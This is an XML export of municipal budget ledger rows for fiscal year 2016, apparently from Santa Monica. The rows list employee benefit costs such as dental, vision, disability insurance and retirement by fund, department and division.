<row _id="19445"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8998</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8998</total></row>
<row _id="19446"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5213</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5213</total></row>
<row _id="19447"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>11666</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11666</total></row>
<row _id="19448"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1035</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1035</total></row>
<row _id="19449"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>9857</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9857</total></row>
<row _id="19450"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4590</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4590</total></row>
<row _id="19451"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>14174</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14174</total></row>
<row _id="19452"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>25815</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25815</total></row>
<row _id="19453"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>16694</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16694</total></row>
<row _id="19454"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>838</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>838</total></row>
<row _id="19455"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>625</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>625</total></row>
<row _id="19456"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>428</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>428</total></row>
<row _id="19457"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8558</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8558</total></row>
<row _id="19458"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2546</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2546</total></row>
<row _id="19459"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3485</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3485</total></row>
<row _id="19460"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6842</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6842</total></row>
<row _id="19461"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>114113</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>114113</total></row>
<row _id="19462"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6172</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6172</total></row>
<row _id="19463"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>59849</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>59849</total></row>
<row _id="19464"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>501</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>501</total></row>
<row _id="19465"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3300</total></row>
<row _id="19466"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5898</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5898</total></row>
<row _id="19467"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>504</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>504</total></row>
<row _id="19468"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7635</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7635</total></row>
<row _id="19469"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511747.0</object><object_description>CASH-IN-LIEU</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19470"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7213</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7213</total></row>
<row _id="19471"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19472"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1592</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1592</total></row>
<row _id="19473"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>147666</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>147666</total></row>
<row _id="19474"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>80929</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>80929</total></row>
<row _id="19475"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1144587</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1144587</total></row>
<row _id="19476"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>70309</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>70309</total></row>
<row _id="19477"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>72</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>72</total></row>
<row _id="19478"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>417</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>417</total></row>
<row _id="19479"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1044</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1044</total></row>
<row _id="19480"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>714</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>714</total></row>
<row _id="19481"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7528</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7528</total></row>
<row _id="19482"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4580</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4580</total></row>
<row _id="19483"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2139</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2139</total></row>
<row _id="19484"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2510</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2510</total></row>
<row _id="19485"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4376</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4376</total></row>
<row _id="19486"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5238</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5238</total></row>
<row _id="19487"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10805</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10805</total></row>
<row _id="19488"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>26940</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26940</total></row>
<row _id="19489"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4030</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4030</total></row>
<row _id="19490"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3540</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3540</total></row>
<row _id="19491"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2481</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2481</total></row>
<row _id="19492"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>11332</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11332</total></row>
<row _id="19493"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>790</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>790</total></row>
<row _id="19494"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>738</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>738</total></row>
